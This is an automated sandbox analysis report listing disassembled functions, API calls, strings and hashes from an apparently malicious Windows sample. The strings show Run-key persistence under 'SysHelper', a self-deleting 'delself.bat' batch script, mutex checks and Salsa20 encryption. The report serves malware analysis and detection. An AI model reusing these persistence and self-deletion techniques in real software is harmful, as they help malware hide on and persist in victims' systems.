_malloc.LIBCMT ref: 0040FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0040FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0040FCA5
_free.LIBCMT ref: 0040FCD7

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: 343a40c2320f36c0a67bd0d09e6816cdff555a949c20798249c71fe74911a55b
Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
Opcode Fuzzy Hash: 343a40c2320f36c0a67bd0d09e6816cdff555a949c20798249c71fe74911a55b
Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 004382A2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 004382B9
_wcscmp.LIBCMT ref: 004382CA
GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

ACP, xrefs: 004382B3
OCP, xrefs: 004382C4

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: InfoLocale_wcscmp
String ID: ACP$OCP
API String ID: 1351282208-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Uniqueness

Uniqueness Score: -1.00%

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090
input != nullptr && output != nullptr, xrefs: 0040C095

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 00411178 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 00411190
CryptReleaseContext.ADVAPI32(?,00000000), ref: 004111A0

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction ID: be51c898aa0ddf1eb2c7ddf255022cb250d4a78141f94ceb906d675081cd9b05
Opcode Fuzzy Hash: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction Fuzzy Hash: F0E0EC74F40305A7EF50DBB6AC49FABB6A86B08745F444526FB04F3251D62CD841C528

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA51 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EA69
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EA79

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction ID: d41dd3a2d1aa4a110fdd7d588524fe859ae41a35967fa473e5fd9fc866ad400b
Opcode Fuzzy Hash: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction Fuzzy Hash: B2E0EC78F002059BDF50DBB79C89F6B72A87B08744B440835F804F3285D63CD9118928

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC68 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EC80
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EC90

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction ID: 275dd0b1ae59d7aa5d1c23d1b64c6eee76a350be21334d4cde6f8a02617c5264
Opcode Fuzzy Hash: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction Fuzzy Hash: 97E0BDB4F0420597EF60DEB69E49F6B76A8AB04645B440835E904F2281DA3DD8218A29

Uniqueness

Uniqueness Score: -1.00%

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
@echo off:trydel ", xrefs: 0041262A
" goto try, xrefs: 00412666
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
delself.bat, xrefs: 0041261C
del ", xrefs: 00412674
"if exist ", xrefs: 00412648
TEMP, xrefs: 004125DF
D, xrefs: 00412720

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Uniqueness

Uniqueness Score: -1.00%

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

, xrefs: 00463A90
-----BEGIN , xrefs: 004636A4
-----END , xrefs: 0046382F, 00463940, 004639E4
.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA
-----, xrefs: 004636D4, 00463A21

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Uniqueness

Uniqueness Score: -1.00%

Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425AAE

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__calloc_crt.LIBCMT ref: 00425AD2
_free.LIBCMT ref: 00425AE0
__calloc_crt.LIBCMT ref: 00425AEE
_free.LIBCMT ref: 00425AFE
_free.LIBCMT ref: 00425B04
__copytlocinfo_nolock.LIBCMT ref: 00425B13
__wsetlocale_nolock.LIBCMT ref: 00425B20
__setmbcp_nolock.LIBCMT ref: 00425B34
_free.LIBCMT ref: 00425B42
___removelocaleref.LIBCMT ref: 00425B49
___freetlocinfo.LIBCMT ref: 00425B50
_free.LIBCMT ref: 00425B56

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320windowCOMMON

Download Yara Rule

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: f729ec156da57fca7fee0a65632cfd00bd7f39968df2b9978418747e4f1c509a
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: f729ec156da57fca7fee0a65632cfd00bd7f39968df2b9978418747e4f1c509a
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004270A5 Relevance: 18.3, APIs: 12, Instructions: 289COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0042708B
DecodePointer.KERNEL32(?,?,?,?,000000FF,?,?,00463083,?,00000000,00000000), ref: 004271FE
DecodePointer.KERNEL32(?,?), ref: 0042722A
DecodePointer.KERNEL32(?,?), ref: 0042724F
__aulldvrm.LIBCMT ref: 00427385
_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_string.LIBCMT ref: 0042756B
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: DecodePointer_write_multi_char_write_string$__aulldvrm__cftof_free_strlen
String ID:
API String ID: 559064418-0
Opcode ID: 688c8fa77b64d3e6dd85923818a4fb75ab92d018343194e73b5bea7932078b8e
Instruction ID: 14f77054e820437d32f524f0a61f308f331f5c30c1a6e174fa9440fd564cd740
Opcode Fuzzy Hash: 688c8fa77b64d3e6dd85923818a4fb75ab92d018343194e73b5bea7932078b8e
Instruction Fuzzy Hash: B8B1A171E092399FDF209B54EC88BAAB7B5EF54314F5400DAD908A6251D7389E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00427B21 Relevance: 18.1, APIs: 12, Instructions: 84COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 00427B29
_free.LIBCMT ref: 00427B42

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

_free.LIBCMT ref: 00427B55
_free.LIBCMT ref: 00427B73
_free.LIBCMT ref: 00427B85
_free.LIBCMT ref: 00427B96
_free.LIBCMT ref: 00427BA1
_free.LIBCMT ref: 00427BC5
EncodePointer.KERNEL32(006451C0), ref: 00427BCC
_free.LIBCMT ref: 00427BE1
_free.LIBCMT ref: 00427BF7
_free.LIBCMT ref: 00427C1F

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID:
API String ID: 3064303923-0
Opcode ID: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction ID: d8036121d910c09816430481b6b6363fcbb95216f7cc64832fdbf6810ac9f003
Opcode Fuzzy Hash: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction Fuzzy Hash: C2217535A042748BCB215F56BC80D4A7BA4EB14328B94453FEA14573A1CBF87889DA98

Uniqueness

Uniqueness Score: -1.00%

Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

_OPENSSL_isservice, xrefs: 004549D1
Service-0x, xrefs: 00454A80

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Uniqueness

Uniqueness Score: -1.00%

Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00454BD3

Strings

OPENSSL, xrefs: 00454B77
OpenSSL: FATAL, xrefs: 00454BC7

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Uniqueness

Uniqueness Score: -1.00%

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F
SysHelper, xrefs: 004123D6

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Uniqueness

Uniqueness Score: -1.00%

Function 00425B6E Relevance: 16.6, APIs: 11, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425BF8
__lock.LIBCMT ref: 00425C0E
__copytlocinfo_nolock.LIBCMT ref: 00425C1F
__wsetlocale_nolock.LIBCMT ref: 00425C36
_wcscmp.LIBCMT ref: 00425C59
__lock.LIBCMT ref: 00425C70
__updatetlocinfoEx_nolock.LIBCMT ref: 00425C82
___removelocaleref.LIBCMT ref: 00425C88
__updatetlocinfoEx_nolock.LIBCMT ref: 00425CA7

Memory Dump Source

Source File: 00000001.00000002.1651524863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1651524863.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1651524863.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_8jvTeVxooN.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__wsetlocale_nolock_wcscmp
String ID:
API String ID: 1077091919-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D

Uniqueness

Uniqueness Score: -1.00%

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
